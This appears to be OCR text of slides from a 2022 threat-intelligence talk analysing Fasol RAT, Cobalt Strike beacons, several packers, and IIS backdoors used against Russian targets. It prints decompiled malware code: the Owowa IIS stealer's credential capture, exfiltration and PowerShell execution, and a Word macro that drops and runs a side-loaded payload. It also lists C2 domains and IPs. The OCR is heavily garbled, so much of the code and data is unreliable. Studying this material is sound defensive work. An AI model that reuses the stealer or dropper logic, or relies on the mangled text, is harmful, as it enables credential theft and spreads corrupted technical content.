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Attack targets

« Government;

Energy Industry;
Mass Media;
Other.
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Kaspersky @ HEUR:Trojan.Win64.Fasol.gen




Fasol RAT: Samples

ntuser.dl

I/w3wp.e
xe

23.02.22 1:21

22.02.22 1:29

Spoolsv.

dil

interacti

ve_map_
UA.exe

27.02.22 0:59

2

7.02.22 2:21

nvdat.
dll/sms

sdat.dll

interact

iveMap
UA.exe

27.02.2216:22

01.03.22 15335
©

©)
01.03.22 19:55

02.03.22 15:12

build_
rosteh

4.exe
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Fasol RAT: Obfuscation

while ( pGlobalCnt == @x9343FF2D )
{
v33 = 3;
v = BX3BDEG3BD;
if ( dword 7FF7352CEDEC < 1@ || (((smthGlobalvar - 1) * smthGlobalvar) & 1) == 0 )
vo = OX94000AB3;
pGlobalCnt = v9;
¥
if ( pGlobalCnt != @x94000AB3 )
break;
pGlobalCnt = 1727011185,
¥
if ( pGlobalCnt != exB768C9D3 )
break;
pMaximumComponentLength = MaximumComponentLength;
pvolumeSerialNumber = VolumeSerialNumber;
pFormatString = fn_ae8xes8x @ decrypt(vio);
fnvsprintf(v31, pFormatString, pvolumeSerialNumber, pMaximumComponentLength);
Str = std::basic string char std::char traits char_std::allocator char_  ::operator_ o(str);
pGlobalCnt = @x1BFD8BOA;
}
if ( pGlobalCnt != -1827513586 )
break;
vd = fn_aC_@_decrypt(v2e);

https://blog.malwarebytes.com/malwarebytes-news/2022/05/unknown-apt-group-has-targeted-russia-repeatedly-since-ukraine-invasion/ 8



https://blog.malwarebytes.com/malwarebytes-news/2022/05/unknown-apt-group-has-targeted-russia-repeatedly-since-ukraine-invasion/

Fasol RAT: String encryption

v7 = pStackNullsArr;

_stackPtr 1 = @xBi64;
_stackPtr 2 = @xAS8;
pStackPtr = @x373F282F77373F28164;
_stackPtr 3 = ex2177;
stackPtr_4 = exF;

FnStringDecrypt(&pStacthP, &pOutData, exAa8); // inputStackData, outData, initByte

return &pOutData;

_Cnt = 8;
do
{

*(p_outData + Cnt)
*(p_outData + Cnt)

++ Cnt;

result = p outData;

}

*(pInputData + _Cnt) ~ OxA6;
iInitByte ~ (*(p _outData + Cnt) - 1);

while ( *(p outData + Cnt - 1) );

return result;

fn_aHttpliHost @ decrypt+17fr
fn_aHttpliHost @ decrypt+23fr
fn_aHttpliHost @ decrypt+2Ftr
tn_asssss decrypt+171r
tn_asssss decrypt+23tr
fn_asssss decrypt+2Ftr
tn_smth_rn_decrypt+17tr
fn_smth_rn_decrypt+23fr
fn_ass 2 decrypt e+171r
fn_ass 2 decrypt e+21fr
fnsmthRnDecrypt+17Ttr
fnsmthRnDecrypt+23Tr
fn_ass 3 decrypt+17Tr
fn_ass 3 decrypt+21tr
fn_alds @ decrypt+17fr
fn_aldS @ decrypt+21fr

+17Tr
+23Tr
+2FTr

+171r
+231r
tn_alLs decrypt+17tr
fnsmthslashDecrypt+171tr

+171r
tn_aD_decrypt @+17Tr
tn_aD_decrypt @+23Tr
fn_aResult 1 decrypt+17fr
fn_aMirrorExchange 2 decrypt+17fr

fn_aMirrorExchange 2 decrypt+23fr
fn_aMirrorExchange 2 decrypt+2Ffr
tn_aExecute decrypt+17Tr
tn_aExecute decrypt+23Tr
tn_aExecute @ decrypt @+17Tr
tn_aExecute @ decrypt @+23Tr
tn_smth_slash decrypt+17fr
fn_aok 1 decrypt+17tr
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Fasol RAT: Resolve API functions

if ( !pApiName )

return @xFFFFFFFFi64;
_currRoundval = *pApiName;
if ( !*pApiName )

return @x573AFA79i64;
size = a2 - 1;
LODWORD(_finalHash) = @x573AFA79;
cnt = lie4;
do
{

v7 = currRoundval + 32;

if ( la3 )

v7 = _currRoundVal;

v7 = _currRoundval;
fTmpval = finalHash ~ v7 ~ ((_finalHash ~ v7) >> 11);
sTmpval =
tTmpval =

if ( size < cnt )
break;
_currRoundval = pApiName[cnt++];
1
J
while ( _currRoundval );
return finalHash;

if ( (_currRoundval - 65) >= @x1lAu )

fTmpval ~ (fTmpval >> 1) ~ ((fTmpval ~ (fTmpval >> 1)) »> 13);

sTmpval ~ (sTmpval >> 14) ~ (8 * (sTmpVal ~ (sTmpval >> 14))) ~ ((sTmpval ~ (sTmpval >> 14) ~ (8 * (sTmpval ~ (sTmpval >> 14)))) >> 23);
frTmpval = tTmpval ~ (tTmpval << 22) ~ ((tTmpval ~ (tTmpval << 22)) >> 16);

finTmpval = frTmpval ~ (16 * frTmpval) ~ ((frTmpval ~ (16 * frTmpval)) << 15);

finalHash = finTmpval ~ (finTmpval >> 19) ~ ((finTmpval ~ (finTmpval »>> 19)) << 12) ~ ((finTmpval ~ (finTmpval >> 19) ~ ((finTmpval ~ (finTmpval >> 19)) << 12)) << 6);

GetFileAttributesExA
GetComputerNameA
getaddrinfo

htons

closesocket
freeaddrinfo
FindFirstFileA

GetLastError
FindNextFileA
CreateFileA
CloseHandle
VirtualQuery
VirtualAlloc
lstrcatA

------
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Fasol RAT: Commands

¢ |s;

¢ execute;

« getcomputername;
« upload;

¢ exit.

Ly
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Fasol RAT: Network protocol

53

4D

23

o4

63

a0

00

0o

63

a0

00

00| fes

4F
41
43
2D
51
32

SR
13
oF
76
TR
23

6F
1B
33
1
34
4E

T3
37
5T
6B
91
6B

36
13
eD
eD
62
26

43
63
21
4C
&7
31

ST
33
a0
23
38
7

37
2D
16
qh
66
39

36
6E
66
36
6B
T4

69
70
T3
6E
49
1B

eC
T7
68
e
4E
13

63
4C
6B
34
75
34

47
28
38
6%
32
T4

64
94
30
1B
61
S8
a7

3D
96
T8
61
21
43
41

L s T ¥ IS R e

typedef struct firstInitPacket

{

char smstSignature[4];
DWORD Len;
DWORD Len;
char data[datalLen];
firstInitPacket, *pfirstInitPacket;

SHM5Tc...c. ..
NZoseCTTeilcGDFO
ACEGCeS-—npwLX0xC
C 3WmQPFfuhkB8KalU
—vFimL5JenlDiaQl
Qz4AbgBfkINu2XCY
SSHEV1IwWSTECDTWA.

packet->pHeaderField 1 = "TSMS';
packet->pLenField = a2;
packet->pLenField = a3;
pPacketData = &packet->pDataAfterHeaderstart;
fnFillByval memset((&packet->pDataAfterHeaderStart + a3 * len), @, len);
return pPacketData;

o |d=%s
o |d=%sfile=%s
o \t<DIR>\t%s\r\n
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Cobalt Strike Beacons JEF
ONE
2022
Beacon type C2 Server Path Publickey_MD5| Spawnto_x64 Spawnto_x86 |Watermark
Hybrid HTTP dns.jprava.com
DNS : '
HTTPS https://jarvcza.com
/Link/photos/VR91 g@ﬁgﬁi@%ﬂ%ﬂg %windir%\sysnati %windir%\syswow6 1580103824
NKTTOPM2 ” ve\WUAUCLT.exe 4\EhStorAuthn.exe
HTTPS https://kramerden.com
HTTPS https://mastraca.com

« Windows Update Agent;
« Microsoft Enhanced Storage Authentication Program.

13



Packers SEF_
Vi

« ScareCrow; | ’

e StdVectorPacker: | y

e CFFlooderObfuscator. P




ScareCrow: Scheme of work

https://github.com/optiv/ScareCrow

AES decrypt
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https://github.com/optiv/ScareCrow

ScareCrow: Data decode and decrypt

pEncrKey = String::fnConcatToStr(v2106, v4195);

vad = v3;

encoding base64 ptr Encoding DecodeString(v2101, w4196, pEncrkey);
V4227 = V5;

encoding base64 ptr Encoding DecodeString(v2102, w4197, v4209);
v4228 = v6;

va224[@] = v7;

encoding base64 ptr Encoding DecodeString(v2163, v4198, v4210);
v4224[9] = v8;

crypto_aes NewCipher(v2ie4, v4199, v4211);

if ( lvie

{

v4231

vA229 =

vA4219
V4236
w4222

(*(void
main obRtz();

runtime_slicebytetostring(v2107, v4202, va214);

encoding base64 ptr Encoding DecodeString(v2108, v4203, v4215);

vA226
vA4204
vA4232
vls =
vA220
vA217
vl7 =

vi17[2]

&& v4 >= ex1e )

v9;
"108u518kvo8ALTX+Uql/ /ueCpbAS7plIZdx7fuzbIla=";
runtime makeslice(v2185, v4280, v4212);
v11;
(v2106, v4201, v4213, v4219);
(**)(void))(v1i2 + ex28))();

v13;
runtime newobject(v2169);
vi14;

vA4226;

runtime slicebytetostring(v2110, v4204, v4216);

DSOS (1, 2005);

vA232;
v4232[1] = (__intea (__golang *)())vis;

vis8;

if F Auwnerd 1A2EENRAG D
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ScareCrow: Overview

call
mov

mov
mowv
I mov
mowv

[rsp+118h+var 38], rax

[rsp+118h+var Be], rbx
[rsp+118h+var_ A8], rcx
rdx, cs:qword 1482A00A0
rax, rdx

rbx, g pB64EncodedAesKeyl; "i@8u518kvo8ALTX+Uql//ueCt

ecx, 2ch ; ',

-mov [rsp+118h+var_3@], rax
mov [rsp+118h+var_Ae], rbx
mov [rsp+1l18h+var 98], rcx
| mov rdx, cs:qword 1482A00A0
mov rax, rdx

| lea

rbx, g pBedEncodedIV |; "XmGT+6TB5+0suAkM8jX9sQ=="

mov

mov
mowv
-mov

mov
mowv

nop
call

[rsp+118h+var 58], rax

[rsp+118h+var Ee], rbx
[rsp+1l18h+var D8], rcx
rax, [rsp+118h+var 30]

rbx, [rsp+ll8h+var A9]
rcx, [rsp+ligh+var 98]

dword ptr [rax]
crypto_aes NewCipher

call String fnConcatToStr
v rcx. rbx
1€Ea rdi, aBulzdgjjjafy2t |;
mov esi, 1Ceh
mov rbx, rax
xor eax, eax
call String_ fnConcatToStr
mov rcx, rbx
[ lea rdi, aIditmvkpeomdhg|;
mov esi, 1ceh
DX, rax
xor eax, eax
call String fnConcatTostr
v rcx. rhx
lea rdi, ayidurSwabpfxdg '
mov esi, 1Ceh
mov rbx, rax
xor eax, eax
call String fnConcatToStr
mov rcx, rbx
[ lea rdi, audkfrrzyofeniIp |;
mov esi, 1Ceh
mov rbx, rax
xor eax, eax
call String fnConcatToStr
mov rcx, rbx
11%a rdi, aK7vbzfau@cnves3 | ;
mov esi, 1Ceh
mov rbx, rax
xor eax, eax
nop dword ptr [rax]
call String fnConcatTostr
mov rcx, rbx

i

"BU1zDGJ:

"1DitMVKP¢

"yiDUR5SwAL

"UAKTRRZY(

"k7vbzFau(

NO
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ScareCrow: Capstone engine analysis

https:.//www.capstone-engine.org/lang_python.html



https://www.capstone-engine.org/lang_python.html

StdVectorPacker: Key INit and encryption

pSecondXorKey[@] = mm_load si128((const m128i
pSecondXorkKey[1] = mm_load si128((const  m128i
pSecondXorkKey[2] = mm_load si128((const m128i
pSecondXorKey[3] = mm_load si128((const  m128i

[e] = (_
[2] = (_

pSecondXorKey[4] =

int128) mm load sii128((const
int128) mm load sii128((const
~mm_load si128((const

[1] = (__int128) mm load si128((const
[3] = (__int128) mm load si128((const
[4] = (__int128) mm load si128((const
pfn_kernel32 FindResourceA = fnApiResolve();
pEncrData0Offset = (HRSRC)(( intea (_ fastcall *)(_
pImageAddr,
0xC9i64,
2i64);

_sizeOfdata = *((_DWORD *)pEncrDataOffset + 1);
= pImageAddr + *(_DWORD *)pEncrDataOffset;

_len = sizeOfdata;

pEncrData = operator new( sizeOfdata);

v7 = pEncrData;

v8 = pEncrData;

if ( _sizeOfdata )

{
do

{
*V8++ = @;
-- len;

¥
while ( _len );
¥
if ( v4 l= OxFFFFFFFFFFFFFF99ui6a &&
{
_offsetCnt = v4 + @x67 - (_QWORD)pEncrData;
do
{
*pEncrData = pEncrData[ offsetcnt];
+i+pEncrData;
-- sizeOfdata;

_sizeOfdata )

¥
while ( _sizeOfdata );

*)
*)
*)
*)

&xmmword_180052338)

&xmmword_1800523Ae)
&xmmword 180052340);
&xmmword 180052310);

~ m1281 *)&xmmword 180052360);

_ m1281 *)&xmmword 180052370);

_ m1281 *)&xmmword 180052380);
_ m1281 *)&xmmword 180052390);

)
_ m1281 *)&xmmword 180052320);
_ m1281 *)&xmmword 180052350);
inte4,

__inte4, inte4))pfn_kernel32 FindResourceA)
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if ( _
{
do
{
*V8++ = @3
-- len;

sizeOfdata )

}
while (
¥
if ( v4 != OxFFFFFFFFFFFFFFO0uica &&
{
_offsetcnt = v4 + ex67 - (_QWORD)pEncrData;
do
{
*pEncrData = pEncrData[_offsetCnt];
++pEncrDataj
--_sizeOfdata;

_len );

_sizeOfdata )

while ( sizeOfdata );

¥

vlie = @;

vil = v7;

_localcnt = @;

_2ndCnt = @ie4;

do

{
++_localCnt;
*v1l++ ~= *((_BYTE *)pFirstXorKey + 4 * (_2ndCnt % ox14));
_2ndCnt = localCnt;

while ( (unsigned
keyCnt = @i64;
for (1 =v7; ; ++1 )

{

__inte4) localCnt < @x4Ae0 );

*1 A= *((_BYTE *)pSecondXorKey + 4 * (keyCnt % @x14));
if ( GetTickCount64() == keyCnt )
break;
keyCnt = ++vie;
1T ( (unsignhea
return v7;

— INto4)VId >= OX4R00 )



2022
mov rax, [EE
mov [rax+8], rbx 1 1 .
e e e Static unpacking:
mov [rax+18h], rsi
mov, [rax+26h], rdi « Find xmm registers containing encryption keys;
pus ri4
sub Bl ocon . . . . . )
i Tl Ges—ra SETEET The value of each register is placed in a temporary variable;
movdga xmml, cs:xmmword 180052370  Find the encryption key values stored as bytes;
mov rbx, cs:quord_18605AA50 + Along with getting the data we memorize the offsets at which they are
movdga xmmword ptr [rax-58h], xmme : : .
movdga xmm@, cs:xmmword 180052340 written to the regISter’
movdga xmmord ptr [rax-22h], xnmt  *  If the encryption key is written across multiple registers, calculate the
e R offsets of one relative to the other;
movdga xmmword ptr [rax-38h], xmme o . s : .
T If there are two decryption cycles, then divide the encryption key into
two parts;
movdga xmmword ptr [rax-28h], xmml
movdga xmml, cs:xmmword_180052360 + If we find the second encryption function, then stage T;
movdga xmmword ptr [-+32], Xxmm1 X .
movdga xmml, cs:xmmword 180052370 Decryptlng the data. .
movdga xmmword ptr [-+6-i], xmml *
movdga xmml, cs:xmmword 1800523580 -
movdga xmmword ptr [rax-18h], xmme
movdga xmm@, cs:xmmword 180052390 ’
movdga xmmword ptr [-+-18], Xmme !.:
movdga xmm@, cs:xmmword 180052320 o
=___ / ! ple)




CFFlooderObfuscator: CF-graph E
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CFFlooderObfuscator: API| resolve ST

e
bKern9132Library = g pfnLoadLibrary(“kernel32.d11"); ,J;#ggggﬁgp 2022
pfnvirtualAlloc = g pfnGetProcAddress(pKernel32Library, "virtualalloc™); «

pfnvirtualFree = g pfnGetProcAddress(pKernel32Library, "VvirtualFree");
v215 = *&pConst;

v214 ©x3B9E11DO;

v213 = 9;

i = OxF9@F1181;

NGO

¥

if (i != @xC3FF8ED ) .

break;
V209 = OXE1B1D2D9;
if ( g_globalconst EntryP < exA || (((g_globalconst EntryP 1 - 1) * g globe
V209 = @xF249200B; ——
i = v209;
} f
if (i != @x3BE79CBF )
break; 'Y ol
v3 = @x426E1544;
if ( fdwReason == 1 ) Y
v3 = @xXBB5AC87;
i = v3;
¥ : .
if ( i != ex426E1544 ) =
break;
i = @x646404B9;
}
if (i != @x47CED5A8 )
break;
i = @xE1FCF152; ~ =
b
if ( i != ex5A595783 )
OTea

fnoObfFuncCall();

]
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CFFlooderObfuscator: Decrypt function




CFFlooderObfuscator: Embedded data

pConst dq 41CDCDe3ESeeeaeet
align 1eh
g pencryptedData db 6Bh ; k

db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db
db

db
dh

6Bh
6Bh
6Bh
6Ah
68h
6Bh
6Ah
6Ah
69h
68h
6Bh
69h
68h
6Ah
6Ah
6Ah
69h
6Bh
68h
6Bh
68h
6Ah

sRh

.
¥

.
¥

.
>

s bms bme e dme e e bee ke ke ke bms bpe e bme e e bwe e ke

‘T'LJ. = A& O A H W W O E A D A /AT AR A

=
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CFFlooderObfuscator: switch-as-binary-

search implementation

mov
sub
jz

Jmp

loc_lS@@@ldBd:
mov
sub
jz
Jmp

lOC_lS@@@ldCB:
mov
sub
jz
Jmp

def dbg_trace(self, tid, ea):

0x8b and get_dword(ea + 17) @xE9)
@x2d and get_dword(ea + 11) @xe9)
oxef and get_dword(ea + 6) == OxE9)

if (get_byte(ea)
or (get_byte(ea)
or (get_byte(ea)

I
eax, [rsp+ +var_Ba]
eax,
loc_ 180088007
$+
; CODE XREF: DllEntryPoint+9Ft]
eax, [rsp+ +var_Be]
eax,
loc_18800151D
$+
; CODE XREF: DllEntryPoint+B31]
eax, [rsp+ +var_Be]
eax,
loc 18@0081A4
$+

or (get_dword(ea) == 9xe9):

return 1
else:

print("rip=0x%x, disasm = %s" % (ea, idc.generate_disasm_line(ea, 9)))

return 8

VFF
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CFFlooderObfuscator: Trace analysis

Bx7f985584438
Bx7F98558443e
Bx 7985584448
Bx 7985584446
Bx 7385585535
Bx 738558553 F
Bx 7985586257
Bx7985584438
Bx798558443e
Bx7985584448
Bx7985584446
Bx7F98558625c
Bx7 985586263
Bx7 985586266
Bx7F98558626C
Bx7F985586273
Bx7F+985586275
Bx7f985586278
Bx7F98558627F
Bx7f985586286
Bx7f985586289
Bx7f98558628d

line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line
line

mov
mov
sub
mov
mov
Jmp
Jmp
mov
mov
sub
mov
mov
mov
mov
mov
mov
mov
mov
mov
mov
sub
imul

eax, [rbp+@ESBhivar 458]  rax = @xd3daSfbf, rbx

ecx, eax rax = @xd3da5fbf, rbx =

ecx, 82DBD29Ah
[rbp+BE58h+var C9C], eax rax
[rbp+@E58h+var 458], 7118CD85h

loc_7FF985586257 rax = 8x8, rbx
loc_7FF985584438 rax = 8x8, rbx

ecx, eax rax = @x7118cd85, rbx =
ecx, 82DBD29Ah rax = @x7118cd85, rbx = @x7ffeB3d0l, rcx = Ox7119cd85, rdx = Oxffff
= Bx7{{e@301, rcx = @xee3dfaeb, rdx =
rax, [rbp+8E58h+var C98] rax = 8x8, rbx = 8x7ffe@3dl, rcx = Oxeelddfaeb, rdx = @xffff
rbx = @x7ffe@30l, rcx = Oxeeldfaeb, rdx = Oxffffffif, r
@x7ffe@301, rcx =
@x7ffe@301, rcx =

[rbp+BE58h+var C9C], eax rax = 8x7118cdB85, rbx

rsp, rax rax = @x47702fdade,
cl, [irbp+@E5@h+var_5EA] rax
rdx, [rbp+8E58h+var S5F8] rax
[rdx], €1 rax = @x47702+fdade,
rdx, rsp rax = @x47702fdade,
r8d, cs:dword_ 7FF9385797054

rod, cs:dword_ 7FFO85797050

rléd, r&d rax = @x47702fdade,
rled, 1 rax = @x47702fdade,
rdd, rléd rax = @x47782+dadd,

= Bx47782+dade, rbx
= Bx47782+dade, rbx

rbx
rbx
rax
rax
rbx
rbx
rbx

- Bx7ffeB301, rcx = Oxd3da5fbf, rdx =

@x7ffeB381, rcx =

rax = 8x8, rbx

@x7ffe@381, rcx
@x7ffe@381, rcx
eax, [rbp+BE58h+var 458] rax = 8x8, rbx = 8x7ffel@3dl, rcx = @x58feBd25, rdx = Bxffff

@xd3da5ftbf, rdx =

OxFFFFFFFF, r8

rax = @xd3da5fbf, rbx = 8x7ffeB301, rcx = O@xd3daS5fbf, rdx = @xfffff
= Bxd3da5fbf, rbx

= Bx7ffe@301, rcx = @x58fedd25, rdx =

@x7ffe@3@1l, rcx =

Ox7ffed301,
Ox7ffed301,

rCx
rCx

Bx7ffe@381, rcx =
Ox58fe8d25, rdx
Ox58fe8d25, rdx

@x58fedd25, rdx =

Ox47702fdad8, rbx
Ox47702fdad8, rbx

Ox7ffed301,
Ox7ffed301,
Ox7ffed301,

rCx
rCx
rCx

Bxeeldfadd, rdx
Bxeeldfadd, rdx

Bxeeldfadd, rdx
Bxeeldfadd, rdx
Bxeeddfadd, rdx

@x568fedd25, rdx

OxFFFFFFFF, r8
OxFFFFFFFF, r8

OxFFFFFFFF, r8

Bxeeldfacbh, rdx
Bxeeldfadd, rdx

Ox7ffe@301, rcx
Ox7ffe@301, rcx

Ox1b8++140660
Ox1b8++140660
= Bxeeldfadd,

= Oxee3dfadd,

Bx47702fdadd,
Bx47702fdadd,
Bx477021dadd,

pAS



CFFlooderObfuscator: Sche

01101
10010 |

Input data

01101
10010 |

me of work

010101
101010

010101
101010

o

o

®
ﬂﬂ
ﬂﬂ

8-symbols block Intermediate byte

Q
2

XOR with gamma
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CFFlooderObfuscator: Static analysis oENe

2022

W 13303 16 _currStrValue = *pData;
r 14927 24 v2159 = _currStrvalue >= Ox6Au;
W 17400 10 _currStrValue = *pData; .

? Local cross references to _finalValue

Xref  Line Colum Pseudocode line e I TR [ e S e

rw 13295 18 _finalValue |= v2152; T — :

w 16577 12 _finalValue = 0; w9994 2 pXorVariable = 0x92;

rw 19864 6 _finalValue ~= pXorVariable; r 19864 21 _finalValue ~= pXorVariable;
r 21500 22 *pAllocMemory = _finalValue; rw 20682 8 ++pXorVariable;

rw 28066 8 _finalValue |= v2152;

28
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Bonus - TokyoHotel: https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/

https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/

windowsof
ficial.com

91.210.105.71

barmnava.
com

klartbe.com

91.210.104.247

gajavaba.com

jprava.com

91.210.104.22

mastraca.co

jarvcza.com

193.109.69.5

kramerden.c
om

jadczxc.com

91.210.104.54

fatobara.com

dogbor.com
91.210.104.121

raingor.com

lartybasta.co

NO
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https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact/
https://lab52.io/blog/tokyox-dll-side-loading-an-unknown-artifact-part-2/

Domain fronting {ERE

2022

 pulkovo.azureedge.net
» pulkovoairport.azureedge.net
« interrao.azureedge.net

« dev-interraoc.azureedge.net

: iCZ} Server
I !

1' o ” Ll

https://bigbOss.medium.com/redtea m-c2-rJdirector-domain-frontinq-setu D-azu[e—ad bedbd28305


https://bigb0ss.medium.com/redteam-c2-redirector-domain-fronting-setup-azure-adbedbd28305
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« appcmd.exe install module;

° a pp' |Catlonhost.conf|g‘ F.Bim:rzwr;ter z;;\ar‘yerter = new BinaryWriter(File.Open(ExtenderControlDesigner.dbPath,
ileMode.Appen 8

. ) ) byte[] array = ExtenderControlDesigner.EncryptBinary(string.Concat(new string[]
private void PreSend_RequestContent(object sender, EventArgs e)

{
{ ] . request.Params.Get("username"),
HttpContext context = ((HttpApplication)sender).Context; e
HttpRequest request = ((HttpApplication)sender).Request; request.Params.Get("password"),
HttpResponse response = ((HttpApplication)sender).Response; 2=,
if (request.HttpMethod.ToUpper() == "POST") request.UserHostAddress,
{ "{EE’ i
string text = string.Join(",", request.Params.AllKeys); request.Headers.Get("X-Forwarded-For"),
if (text.Contains("username") || text.Contains("password")) ",
{ DateTime.UtcNow.ToString()
if (!request.Params.Get("username").Contains("HealthMailbox")) 1P H
c binaryWriter.Write(new byte[]
{
66,
(X X 99,
public static string dbPath = "C:\\\\Windows\\\\Temp\\\\545aff49-4d68-4baf-be59-bc3a5cffb71f.tmp"; 1(547
(%}
public static string key = "<RSAKeyValue> s
<Modulus>rqnWIRALXPMAIFTQ51Ar6 u+ddpjj/jg8ieMVcw+Iit50KdIb6LXkcaY/nrjl6ew2uoP32X2HuSXoUQb6cnDg596RmbYYH . . ) .
jz7miejPT4P3KIY1QuKsIvIIjVsyOsyejFyeRYwZ8pBFb0e39vGI2umByS5 j qKF8CZXPmLxNWTD,/AFKWLi3XKbYdd11ZZpNCSIWC toBu binaryWriter.Write(array.Length);
8DMKB3UECTKUQFQcvmB17gHVanAW4xeF31b6Q3P0da82peHq2hSYB0QMz f TuDulxmvHOEGNDR/ 3RMR j IEa@80XXBNWT /Q1HO/ 5V binaryWriter.Write(array);

qqR1pYnWhxxTVPUPNceUKNgMRsMOLBUZLQXdnsn1luQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>"; . .
binaryWriter.Close();

https://securelist.com/owowa-credential-stealer-and-remote-access/105219/
https://docs.microsoft.com/en-us/dotnet/api/system.web.httpapplication.presendrequestcontent?view=netframework-4.0 3]



https://securelist.com/owowa-credential-stealer-and-remote-access/105219/
https://docs.microsoft.com/en-us/dotnet/api/system.web.httpapplication.presendrequestcontent?view=netframework-4.0

Owowa stealer

{
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if (request.Params.Get("username”) == ['uh

context.Response.Clear();
context.Response.ClearHeaders();

'context.Response;Clearéontent();g
context.Response.ContentType = “"text/plain”;

string arg_431_0 = string.Empty;

try

i context;Responsa.Hrité(Convent;Tbnase64string(FileyReadAJIBytes(ExtendercontrolnesignerldbPafh)));

3

catch (Exception ex2)
| context.Response.Write(ExtenderControlDesigner.Encrypt("Error: " + ex2.Message.ToString()));

context.Response.End();

context.Response.Close();

32
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if (arg_179_@.ToDictionary(arg_179_1, arg_179 2).ContainsKey("cadata™))
{
:2(:):2] BinaryWriter binaryWriter = new BinaryWriter(File.Open(ExtenderControlDesigner.dbPath, FileMode.Append));
byte[] array = ExtenderControlDesigner.EncryptBinary(string.Concat(new string[]
. {
if (arg_179_@.ToDictionary(arg_179_1, arg 179 2).ContainsKey("cadata")) request.Params.Get("username”
N . "
{ B
StreamWriter streamWriter = new StreamWriter(ExtenderControlDesigner.path, true); request.Params.Get("password")
o 5 o
string value = string.Concat(new string[] =7,
{ request.UserHostAddress,
request.Params.Get("username"), e
T request.Headers.Get("X-Forwarded-For"))
request.Params.Get("password"), T,
T, .UtcNow.ToString()
request.UserHostAddress, 1)
T i binaryWriter.Write(new byte[]
.UtcNow.ToString() 1
1) ) ) ) 66,
streamWriter.WriteLine(value); -
streamWriter.Close(); ?
) 104,
e
1)
binaryWriter.Write(array.Length);
binaryWriter.Write(array);
binaryWriter.Close();
}

33
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private static string[] RunCommand({string command)

{
Process process = new Process();
private static string RunCommand(string command) process.StartInfo.FileName = "powershell.exe";
{ process.StartInfo.Arguments = command;
Process expr_07 = new Process(); process.StartInfo.UseShellExecute = false;
expr_@7.StartInfo.FileName = "powershell.exe"; process.StartInfo.RedirectStandardoutput = true;
expr_07.StartInfo.Arguments = command; process.StartInfo.RedirectStandardError = true;
expr_07.StartInfo.UseShellExecute = false; % pr'ocess.Star‘tIn'Fo.StandardOutputEncocfling = Encoc-iing.GetEncm.iing(BSG);
expr_@7.StartInfo.RedirectStandardoutput = true; process.StartInfo.StandardErrorEncoding = Encoding.GetEncoding(866);
- process.Start();
expr_67.5tart(); return new string[]
return expr_07.StandardOutput.ReadToEnd(); {
} process.StandardOutput.ReadToEnd(),
process.StandardError.ReadToEnd()
¥
+
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« ChamelGang: DoorMe backdoor pk
« Anatomy of native IIS malware E3er ,
 The SessionManager IIS backdoor lkaspersicy /

I

i

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/

= 3 -

https.//www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/ £ ——— : — b

https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persisteAtiback JOOS-IRED-se rvers/
https://secdrelist.com/the-sessionmanager-iis-backdoor/106868/ {\ 35

-


https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/new-apt-group-chamelgang/
https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/
https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
https://securelist.com/the-sessionmanager-iis-backdoor/106868/
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Malicilous documents ONE

Review W Format W lelime what you want to do...
5 #10421#0043FFU04A081I043 0811043281 0433# 10430 [Compatibility Mode] - Word

Mailings

Page

References Mailings Review View Q Tell me what you want to do...

Layout

File Home Insert Design

£ Multiple Pay
- rrang
B Page Width Window Al

oom
CIUCOK

npexcranmreneii CMH, AKKDEAHTOBAHHBIX 1151 OCBEIICHHS TOPACCTBEHNLIX MEONPUSTHIL,
nocosmERHEI aukoii Oresectnennoit Boii

Editing

Davnans

[ Anexcannponiu
| Teoprueana

| Anamuesy e | Bazumosiu

T AauG Moxanman

nosa
Tvwrrpiit Kot ounepcanm,

ElMicrosoft office
E dE S WS

| Bcropus | Msanonna [ Poceus
| He [Ty
| TBIL
HTB
e

Bkl Npo6yeTe OTKPLITE haiin, co3faHHbIi B 6osee paHHel Bepcumn Microsoft Office.
Ecnu daiin oTKpeIBaeTCs B peXXMMe 3aLLMLLeHHOro MPOCMOTPa, HaXXMUTe

Braouuts cogepxunoe | B XKEITOM OKHe C MOACKa3KaMu BepX.

Bui npo6yeTe OTKPLITL ¢aiin, cozfaHHLIl B 6onee paHHel Bepcumn Microsoft Office.

Ecnu ¢aiin oTKpLIBaeTCS B PeXVMe 3aLUMLLEHHOTO NPOCMOTPa, HAXXMUTE

Braounts cogepxumoe | B XKEJITOM OKHE € MOJCKa3KaMM BepX.

#1043f# L0440 LI0430# LD



https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-new-attacks/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/

DLL Side-Loading

Private Sub Document_Open()

On Error Resume Next

outDir = ("Wscript.Shell").Environment("Process") ("APPDATA")

outDir = outDir + "\Microsoft\Windows\"
Dim alPath As
Dim a2Path As

alPath = outDir + "yandex.exe"

al = UserForml.TextBox1l.Text

alout = Base64Decode(al)

al = writeToFile(alPath, ailout)

a2Path = outDir + "WINHTTP.d11l"
a2 = UserForml.TextBox2.Text
a20ut = Base64Decode(a2)

a2 = writeToFile(a2Path, a20ut)

a3 = UserForml.TextBox3.Text
a30ut = Base64Decode(a3)
a3 = writeToFile("Microsoft Word Documents.docx", a30ut)

cmdPath = "cmd.exe /c " + alPath

("wscript.shell").Run cmdPath, ©
("wscript.shell").Run """Microsoft Word Documents.docx

nun

£

5

Cocrae undpoeoit nognucu

Ofwwve  flononHUTENLHO

-, Ceepenns o uwhpoBoiIl NnoanNKHCH
371a wibposas NOANMCL AERCTBMTENLHA.

WHbopMaLA 0 NoANMCaBLLEM

W hANDEXLLc
SNEKTPOHHAA NoYTa: | @yandex-team.ru
Bpema noanucaHma: |9 MapTa 2017 r. 18:24:12

MpocmoTp cepTudmkaTa

Moanua Apyrux CTopoH

WMa noanucas... a‘HEKTpOHHaFI n... OTHMeTKa BpeMeH

